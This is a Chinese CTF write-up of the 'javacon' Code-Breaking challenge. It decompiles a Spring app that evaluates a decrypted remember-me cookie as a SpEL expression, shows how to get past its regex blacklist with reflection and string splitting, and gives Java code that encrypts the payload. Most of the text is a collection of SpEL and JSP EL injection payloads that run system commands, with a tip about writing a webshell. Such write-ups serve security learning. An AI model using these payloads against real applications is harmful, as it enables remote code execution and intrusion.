Code-Breaking Puzzles
前言
这个是P牛知识星球上的一道题,历史久远,但是值得学习
题目文件:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
题目分析
解压jar拿到配置文件
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1
反编译class查看一下代码,可以边运行jar边分析
查看MainController
,没有登录的情况下会跳转到/login
@GetMapping({"/login"})
public String login() {
return "login";
}
@GetMapping({"/login-error"})
public String loginError(Model model) {
model.addAttribute("loginError", true);
model.addAttribute("errorMsg", "账号或密码不正确");
return "login";
}
@PostMapping({"/login"})
public String login(
@RequestParam(value = "username",required = true) String username,
@RequestParam(value = "password",required = true) String password,
@RequestParam(value = "remember-me",required = false) String isRemember,
HttpSession session,
HttpServletResponse response
) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
这里会获取前端输入的账号密码,对比配置文件里面的账号密码,如果相同并且勾选了remember-me
,会返回一个cookie
然后通过这个cookie可以成功访问到登录成功的页面
主要逻辑还有看这里
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
在这里会查看存不存在remember-me,如果存在则进行解密获取username
,这里只是检查了能否解密成功,然后进入将解密内容传入
this.getAdvanceValue
private String getAdvanceValue(String val) {
for(String keyword : this.keyworkProperties.getBlacklist()) {
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
在这个方法里面,会进行黑名单检查,黑面单在开头的配置文件里,如果没有匹配到黑名单则进行spel解析,如果这个黑名单可以绕过则会造成spel表达式注入
综上所诉,思路就是将payload加密,通过Cookie: remember-me传参
payload构造
一般的payload如下:
//利用要加上界定符,#{<表达式>}
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
查看一下黑面单
blacklist:
- java.+lang
- Runtime
- exec.*\(
可以通过反射和字符串拼接绕过
T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
下一步就是加密了,这个很简单,所需要的参数代码里都有,只需要复制过来用就行
package io.tricking.challenge;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
String key = "c0dehack1nghere1";
String initVector = "0123456789abcdef";
String payload = "#{T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
String en = encrypt(key,initVector,payload);
System.out.println(en);
// String de =decrypt(key,initVector,en);
// System.out.println("de: "+de);
}
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
return null;
}
}
public static String decrypt(String key, String initVector, String encrypted) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);
} catch (Exception var7) {
return null;
}
}
}
运行得到加密后的payload,去替换remember-me的值然后发包即可
bypass payload合集
简单记录一下
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
******************************************************************************
// Bypass技巧
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
其他payload
// 转自:https://www.jianshu.com/p/ce4ac733a4b9
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
<p th:text="$
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Tree's Blog!